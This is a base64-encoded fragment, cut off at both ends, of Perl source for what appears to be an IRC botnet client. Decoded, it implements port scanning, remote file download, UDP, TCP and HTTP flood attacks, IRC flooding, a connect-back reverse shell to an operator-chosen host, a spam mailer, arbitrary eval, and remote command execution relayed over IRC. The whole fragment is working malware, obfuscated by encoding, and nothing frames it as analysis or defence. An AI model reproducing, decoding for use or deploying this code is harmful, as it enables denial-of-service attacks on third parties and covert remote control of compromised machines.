jEwMDEwIiwiMTAyMjIiLCIxMTE3MCIsIjExMzA2IiwiMTE0NDQiLCIxMjI0MSIsIjEyMzEyIiwiMTQ1MzQiLCIxNDU2OCIsIjE1OTUxIiwiMTcyNzIiLCIxOTYzNSIsIjE5OTA2IiwiMTk5MDAiLCIyMDAwMCIsIjIxNDEyIiwiMjE0NDMiLCIyMTIwNSIsIjIyMDIyIiwiMzA5OTkiLCIzMTMzNiIsIjMxMzM3IiwiMzI3NjgiLCIzMzE4MCIsIjM1NjUxIiwiMzY2NjYiLCIzNzk5OCIsIjQxMTE0IiwiNDEyMTUiLCI0NDU0NCIsIjQ1MDU1IiwiNDU1NTUiLCI0NTY3OCIsIjUxMTE0IiwiNTEyNDciLCI1MTIzNCIsIjU1MDY2IiwiNTU1NTUiLCI2NTExNCIsIjY1MTU2IiwiNjUxMjAiLCI2NTQxMCIsIjY1NTAwIiwiNjU1MDEiLCI2NTUyMyIsIjY1NTMzIik7DQogIG15IChAYWJlcnRhLCAlcG9ydGFfYmFubmVyKTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbUG9ydCBTY2FuXSA5LDFTY2FubmluZyBmb3Igb3BlbiBwb3J0cyBvbiAxMiIuJDEuIiA5LDFzdGFydGVkLiAiKTsNCiAgZm9yZWFjaCBteSAkcG9ydGEgKEBwb3J0YXMpICB7DQogICAgbXkgJHNjYW5zb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0aXAsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7DQogICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgcHVzaCAoQGFiZXJ0YSwgJHBvcnRhKTsNCiAgICAgICRzY2Fuc29jay0+Y2xvc2U7DQogICAgfQ0KICB9DQogIGlmIChAYWJlcnRhKSB7DQogICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbUG9ydCBTY2FuXSA5LDFPcGVuIHBvcnRzIGZvdW5kOiAxMkBhYmVydGEgIik7DQogICAgfSBlbHNlIHsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtQb3J0IFNjYW5dIDksMU5vIG9wZW4gcG9ydHMgZm91bmQuICIpOw0KICB9DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eZG93bmxvYWRccysoLiopXHMrKC4qKS8pIHsNCiAgICAgICAgZ2V0c3RvcmUoIiQxIiwgIiQyIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0Rvd25sb2FkXSA5LDFEb3dubG9hZGVkIHRoZSBmaWxlOiAxMiQyIDksMWZyb20gMTIkMSAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15kbnNccysoLiopLyl7DQogICAgICAgIG15ICRuc2t1ID0gJDE7DQogICAgICAgICRteWRucyA9IGluZXRfbnRvYShpbmV0X2F0b24oJG5za3UpKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbRE5TXSA5LDFSZXNvbHZlZDogMTIkbnNrdSA5LDF0byAxMiRteWRucyAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmc9fiAvXnBvcnRccysoLio/KVxzKyguKikvICkgew0KICAgICAgICBteSAkaG9zdGlwPSAiJDEiOw0KICAgICAgICBteSAkcG9ydHNjPSAiJDIiOw0KICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RpcCwgUGVlclBvcnQgPT4gJHBvcnRzYywgUHJvdG8gPT4ndGNwJywgVGltZW91dCA9PiA3KTsNCiAgICAgICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtQT1JUXSA5LDFDb25uZWN0aW9uIHRvIDEyJGhvc3RpcDksMToxMiRwb3J0c2MgOSwxaXMgMTJBY2NlcHRlZC4gIik7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1BPUlRdIDksMUNvbm5lY3Rpb24gdG8gMTIkaG9zdGlwOSwxOjEyJHBvcnRzYyA5LDFpcyA0UmVmdXNlZC4gIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL151ZHAxXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICBzb2NrZXQoVHIweCwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpOw0KICAgIG15ICRhbHZvPWluZXRfYXRvbigiJDEiKTsNCiAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgIG15ICRkdGltZSA9ICIkMyI7DQogICAgbXkgJHBhY290ZTsNCiAgICBteSAkcGFjb3Rlc2U7DQogICAgICAgIG15ICRzaXplID0gMDsNCiAgICBteSAkZmltID0gdGltZSArICRkdGltZTsNCiAgICBteSAkcGFjb3RhID0gMTsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMSBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMU9uIFBvcnQgMTIiLiRwb3J0YS4iIDksMWZvciAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIHdoaWxlICgoJHBhY290YSA9PSAiMSIpICYmICgkcGFjb3RlcyA9PSAiMSIpKSB7DQogICAgICAgICAgICAkcGFjb3RhID0gMCBpZiAoKHRpbWUgPj0gJGZpbSkgJiYgKCRkdGltZSAhPSAiMCIpKTsNCiAgICAgICAgICAgICRwYWNvdGUgPSAkc2l6ZSA/ICRzaXplIDogaW50KHJhbmQoMTAyNC02NCkrNjQpIDsNCiAgICAgICAgICAgICRwb3J0YSA9IGludChyYW5kIDY1MDAwKSArMSBpZiAoJHBvcnRhID09ICIwIik7DQogICAgICAgICAgICAjc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSk7DQogICAgICAgICAgICBzZW5kKFRyMHgsIHBhY2soImEkcGFjb3RlIiwiVHIweCIpLCAwLCBwYWNrX3NvY2thZGRyX2luKCRwb3J0YSwgJGFsdm8pKTsNCiAgICAgICAgICAgIH0NCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMSBGbG9vRF0gOSwxQXR0YWNrIGZvciAxMiIuJDEuIiA5LDFmaW5pc2hlZCBpbiAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kczksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9edWRwMlxzKyguKilccysoXGQrKVxzKyhcZCspLykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMiBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMXdpdGggMTIiLiQyLiIgOSwxS2IgUGFja2V0cyBmb3IgMTIiLiQzLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIG15ICgkZHRpbWUsICVwYWNvdGVzKSA9IHVkcGZsb29kZXIoIiQxIiwgIiQyIiwgIiQzIik7DQogICAgICAgICRkdGltZSA9IDEgaWYgJGR0aW1lID09IDA7DQogICAgICAgIG15ICVieXRlczsNCiAgICAgICAgJGJ5dGVze2lnbXB9ID0gJDIgKiAkcGFjb3Rlc3tpZ21wfTsNCiAgICAgICAgJGJ5dGVze2ljbXB9ID0gJDIgKiAkcGFjb3Rlc3tpY21wfTsNCiAgICAgICAgJGJ5dGVze299ID0gJDIgKiAkcGFjb3Rlc3tvfTsNCiAgICAgICAgJGJ5dGVze3VkcH0gPSAkMiAqICRwYWNvdGVze3VkcH07DQogICAgICAgICRieXRlc3t0Y3B9ID0gJDIgKiAkcGFjb3Rlc3t0Y3B9Ow0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMiBGbG9vRF0gOSwxUmVzdWx0cyAxMiIuaW50KCgkYnl0ZXN7aWNtcH0rJGJ5dGVze2lnbXB9KyRieXRlc3t1ZHB9ICsgJGJ5dGVze299KS8xMDI0KS4iIDksMUtiIGluIDEyIi4kZHRpbWUuIiA5LDFzZWNvbmRzIHRvIDEyIi4kMS4iOSwxLiAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL151ZHAzXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICBzb2NrZXQoVHIweCwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpOw0KICAgIG15ICRhbHZvPWluZXRfYXRvbigiJDEiKTsNCiAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgIG15ICRkdGltZSA9ICIkMyI7DQogICAgbXkgJHBhY290ZTsNCiAgICBteSAkcGFjb3Rlc2U7DQogICAgbXkgJGZpbSA9IHRpbWUgKyAkZHRpbWU7DQogICAgbXkgJHBhY290YSA9IDE7DQogICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbVURQLTMgRmxvb0RdIDksMUF0dGFja2luZyAxMiIuJDEuIiA5LDFPbiBQb3J0IDEyIi4kcG9ydGEuIiA5LDFmb3IgMTIiLiRkdGltZS4iIDksMXNlY29uZHMuICIpOw0KICAgICAgICB3aGlsZSAoKCRwYWNvdGEgPT0gIjEiKSAmJiAoJHBhY290ZXMgPT0gIjEiKSkgew0KICAgICAgICAgICAgJHBhY290YSA9IDAgaWYgKCh0aW1lID49ICRmaW0pICYmICgkZHRpbWUgIT0gIjAiKSk7DQogICAgICAgICAgICAkcGFjb3RlPSAkcmFuZCB4ICRyYW5kIHggJHJhbmQ7DQogICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOw0KICAgICAgICAgICAgc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSkgYW5kICRwYWNvdGVzZSsrIGlmICgkcGFjb3RlcyA9PSAiMSIpOw0KICAgICAgICAgICAgfQ0KICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1VEUC0zIEZsb29EXSA5LDFSZXN1bHRzIDEyIi4kcGFjb3Rlc2UuIiA5LDFLYiBpbiAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kcyB0byAxMiIuJDEuIjksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9edGNwXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1RDUCBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iOiIuJDIuIiA5LDFmb3IgMTIiLiQzLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIG15ICRpdGltZSA9IHRpbWU7DQogICAgICAgIG15ICgkY3VyX3RpbWUpOw0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KICAgICAgICB3aGlsZSAoJDM+JGN1cl90aW1lKXsNCiAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgJnRjcGZsb29kZXIoIiQxIiwiJDIiLCIkMyIpOw0KfQ0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1RDUCBGbG9vRF0gOSwxQXR0YWNrIGVuZGVkIG9uOiAxMiIuJDEuIjoiLiQyLiI5LDEuICIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZyA9fiAvXmh0dHBccysoLiopXHMrKFxkKykvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDFbSFRUUCBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMW9uIHBvcnQgODAgZm9yIDEyIi4kMi4iIDksMXNlY29uZHMuICIpOw0KICAgICAgICBteSAkaXRpbWUgPSB0aW1lOw0KICAgICAgICBteSAoJGN1cl90aW1lKTsNCiAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgd2hpbGUgKCQyPiRjdXJfdGltZSl7DQogICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQogICAgICAgIG15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcocHJvdG89Pid0Y3AnLCBQZWVyQWRkcj0+JDEsIFBlZXJQb3J0PT44MCk7DQogICAgICAgIHByaW50ICRzb2NrZXQgIkdFVCAvIEhUVFAvMS4xXHJcbkFjY2VwdDogKi8qXHJcbkhvc3Q6ICIuJDEuIlxyXG5Db25uZWN0aW9uOiBLZWVwLUFsaXZlXHJcblxyXG4iOw0KICAgICAgICBjbG9zZSgkc29ja2V0KTsNCn0NCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSFRUUCBGbG9vRF0gOSwxQXR0YWNraW5nIGVuZGVkIG9uOiAxMiIuJDEuIjksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eY2JhY2tccysoLiopXHMrKFxkKykvKSB7DQogICAgICAgIG15ICRob3N0ID0gIiQxIjsNCiAgICAgICAgbXkgJHBvcnQgPSAiJDIiOw0KICAgICAgICBteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQogICAgICAgIG15ICRpYWRkciA9IGluZXRfYXRvbigkaG9zdCk7DQogICAgICAgIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpOw0KICAgICAgICBteSAkc2hlbGwgPSAiL2Jpbi9zaCAtaSI7DQppZiAoJF5PIGVxICJNU1dpbjMyIikgew0KICAgICAgICAkc2hlbGwgPSAiY21kLmV4ZSI7DQp9DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0Nvbm5lY3QgQmFja10gOSwxQ29ubmVjdGluZyB0byAxMiRob3N0OiRwb3J0ICIpOw0KICAgICAgICBzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSBvciBkaWUgInNvY2tldDogJCEiOw0KICAgICAgICBjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSBvciBkaWUgImNvbm5lY3Q6ICQhIjsNCiAgICAgICAgb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQogICAgICAgIG9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCiAgICAgICAgb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KICAgICAgICBzeXN0ZW0oIiRzaGVsbCIpOw0KICAgICAgICBjbG9zZShTVERJTik7DQogICAgICAgIGNsb3NlKFNURE9VVCk7DQogICAgICAgIGNsb3NlKFNUREVSUik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ebWFpbFxzKyguKilccysoLiopXHMrKC4qKVxzKyguKikvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW01haWxlcl0gOSwxU2VuZGluZyBlbWFpbCB0bzogMTIkMyAiKTsNCiAgICAgICAgJHN1YmplY3QgPSAkMTsNCiAgICAgICAgJHNlbmRlciA9ICQyOw0KICAgICAgICAkcmVjaXBpZW50ID0gJDM7DQogICAgICAgIEBjb3JwbyA9ICQ0Ow0KICAgICAgICAkbWFpbHR5cGUgPSAiY29udGVudC10eXBlOiB0ZXh0L2h0bWwiOw0KICAgICAgICAkc2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsNCiAgICAgICAgb3BlbiAoU0VORE1BSUwsICJ8ICRzZW5kbWFpbCAtdCIpOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiJG1haWx0eXBlXG4iOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiU3ViamVjdDogJHN1YmplY3RcbiI7DQogICAgICAgIHByaW50IFNFTkRNQUlMICJGcm9tOiAkc2VuZGVyXG4iOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiVG86ICRyZWNpcGllbnRcblxuIjsNCiAgICAgICAgcHJpbnQgU0VORE1BSUwgIkBjb3Jwb1xuXG4iOw0KICAgICAgICBjbG9zZSAoU0VORE1BSUwpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtNYWlsZXJdIDksMUVtYWlsIFNlbmRlZCB0bzogMTIkcmVjaXBpZW50ICIpOw0KfQ0KZXhpdDsNCn0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15jdGNwZmxvb2QgKC4qKS8pIHsNCiAgICBteSAkdGFyZ2V0ID0gIiQxIjsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSVJDRmxvb2RdIDksMUNUQ1AgRmxvb2Rpbmc6IDEyIi4kdGFyZ2V0LiIgIik7DQogICAgICAgIGZvciAoMS4uMTApIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICIuJHRhcmdldC4iIDpcMDAxVkVSU0lPTlwwMDFcbiIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kdGFyZ2V0LiIgOlwwMDFQSU5HXDAwMVxuIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15tc2dmbG9vZCAoLiopLykgew0KICAgIG15ICR0YXJnZXQgPSAiJDEiOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtJUkMgRmxvb2RdIDksMU1TRyBGbG9vZGluZzogMTIiLiR0YXJnZXQuIiAiKTsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgIi4kdGFyZ2V0LiIgOjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLjgsNy4uLjksNi4uLi4wLDE1Li4uMSwxNi4uLjIsMTMuLi4zLDEyLi4uNCwxMS4uLjUsMTAuLi42LDkuLi43LDguLi44LDcuLi45LDYuLi4uMCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uOCw3Li4uOSw2Li4uLjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLiIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZyA9fiAvXm5vdGljZWZsb29kICguKikvKSB7DQogICAgbXkgJHRhcmdldCA9ICIkMSI7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0lSQyBGbG9vZF0gOSwxTk9USUNFIEZsb29kaW5nOiAxMiIuJHRhcmdldC4iICIpOw0KICAgICAgICBmb3IgKDEuLjIpew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIk5PVElDRSAiLiR0YXJnZXQuIiA6MCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uOCw3Li4uOSw2Li4uLjAsMTUuLi4xLDE2Li4uMiwxMy4uLjMsMTIuLi40LDExLi4uNSwxMC4uLjYsOS4uLjcsOC4uLjgsNy4uLjksNi4uLi4wLDE1Li4uMSwxNi4uLjIsMTMuLi4zLDEyLi4uNCwxMS4uLjUsMTAuLi42LDkuLi43LDguLi44LDcuLi45LDYuLi4uMCwxNS4uLjEsMTYuLi4yLDEzLi4uMywxMi4uLjQsMTEuLi41LDEwLi4uNiw5Li4uNyw4Li4uIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjDQpzdWIgaXJjYXNlIHsNCm15ICgka2VtLCAkcHJpbnRsLCAkY2FzZSkgPSBAXzsNCiAgIGlmICgkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsNCiAgICAgaigiJDEiKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsNCiAgICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgew0KICAgICAgbXkgJGNoYW4gPSAkMTsNCiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikvKSB7DQogICAgICAgIGZvciAobXkgJGNhID0gMTsgJGNhIDw9ICQxOyAkY2ErKyApIHsNCiAgICAgICAgICBwKCIkMiIpOw0KICAgICAgICAgIGooIiQyIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAgcCgiJGNoYW4iKTsNCiAgICAgICAgICBqKCIkY2hhbiIpOw0KICAgICAgfQ0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eb3AvKSB7DQogICAgICBvcCgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgIm9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsNCiAgICAgIG9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgZWxzaWYgKCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZW9wIjsNCiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCA1KTsNCiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL152b2ljZS8pIHsNCiAgICAgIHZvaWNlKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAidm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDYpOw0KICAgICAgdm9pY2UoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15kZXZvaWNlLykgew0KICAgICAgZGV2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgImRldm9pY2UiOw0KICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15mbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgew0KICAgICAgICBtc2coIiQyIiwgIiQzIik7DQogICAgICB9DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGN0Y3AoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsNCiAgICAgICAgY3RjcCgiJDIiLCAiJDMiKTsNCiAgICAgIH0NCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXmludml0ZVxzKyhcUyspICguKikvKSB7DQogICAgICBpbnZpdGUoIiQxIiwgIiQyIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15uZXdlcnZlclxzKyhcUyspXHMrKFxTKykvKSB7DQogICAgICAgY29uZWN0YXIoIiQyIiwgIiQxIiwgIjY2NjciKTsNCiAgIH0NCiAgIGVsc2lmICgkY2FzZSA9fiAvXm5pY2sgKC4qKS8pIHsNCiAgICAgIG5pY2soIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15yYXcgKC4qKS8pIHsNCiAgICAgIHNlbmRyYXcoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15ldmFsICguKikvKSB7DQogICAgICBldmFsICIkMSI7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15qb2luXHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIGooIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15wYXJ0XHMrKFxTKylccysoXGQrKS8pIHsNCiAgICBzbGVlcCBpbnQocmFuZCgkMikpOw0KICAgIHAoIiQxIik7DQogICB9DQogICBlbHNpZiAoJGNhc2UgPX4gL15xdWl0Lykgew0KICAgICBxdWl0KCk7DQogICB9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHNoZWxsIHsNCm15ICRwcmludGw9JF9bMF07DQpteSAkY29tYW5kbz0kX1sxXTsNCmlmICgkY29tYW5kbyA9fiAvY2QgKC4qKS8pIHsNCiAgICAgICAgY2hkaXIoIiQxIikgfHwgbXNnKCIkcHJpbnRsIiwgIk5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkiKTsNCiAgICAgICAgcmV0dXJuOw0KfSBlbHNpZiAoJHBpZCA9IGZvcmspIHsNCiAgICAgICAgd2FpdHBpZCgkcGlkLCAwKTsNCn0gZWxzZSB7DQppZiAoZm9yaykgew0KICAgICAgICBleGl0Ow0KfSBlbHNlIHsNCm15IEByZXNwPWAkY29tYW5kbyAyPiYxIDM+JjFgOw0KbXkgJGM9MDsNCmZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgew0KICAkYysrOw0KICBjaG9wICRsaW5oYTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOiRsaW5oYSIpOw0KICBpZiAoJGMgPT0gIiRsaW5hc19tYXgiKSB7DQogICAgJGM9MDsNCiAgICBzbGVlcCAkc2xlZXA7DQogIH0NCn0NCmV4aXQ7DQp9DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIHVkcGZsb29kZXIgew0KbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsNCm15ICRtc2cgPSAnQScgeCAkX1sxXTsNCm15ICRmdGltZSA9ICRfWzJdOw0KbXkgJGNwID0gMDsNCm15ICglcGFjb3Rlcyk7DQogICAgICAgICRwYWNvdGVze2ljbXB9ID0gJHBhY290ZXN7aWdtcH0gPSAkcGFjb3Rlc3t1ZHB9ID0gJHBhY290ZXN7b30gPSAkcGFjb3Rlc3t0Y3B9ID0gMDsNCiAgICAgICAgc29ja2V0KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgJGNwKys7DQogICAgICAgIHNvY2tldChTT0NLMiwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpIG9yICRjcCsrOw0KICAgICAgICBzb2NrZXQoU09DSzMsIFBGX0lORVQsIFNPQ0tfUkFXLCAxKSBvciAkY3ArKzsNCiAgICAgICAgc29ja2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgJGNwKys7DQogICAgICAgIHJldHVybih1bmRlZikgaWYgJGNwID09IDQ7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQogICAgICAgIHdoaWxlICggMSApIHsNCmZvciAobXkgJHBvcnQgPSAxOw0KICA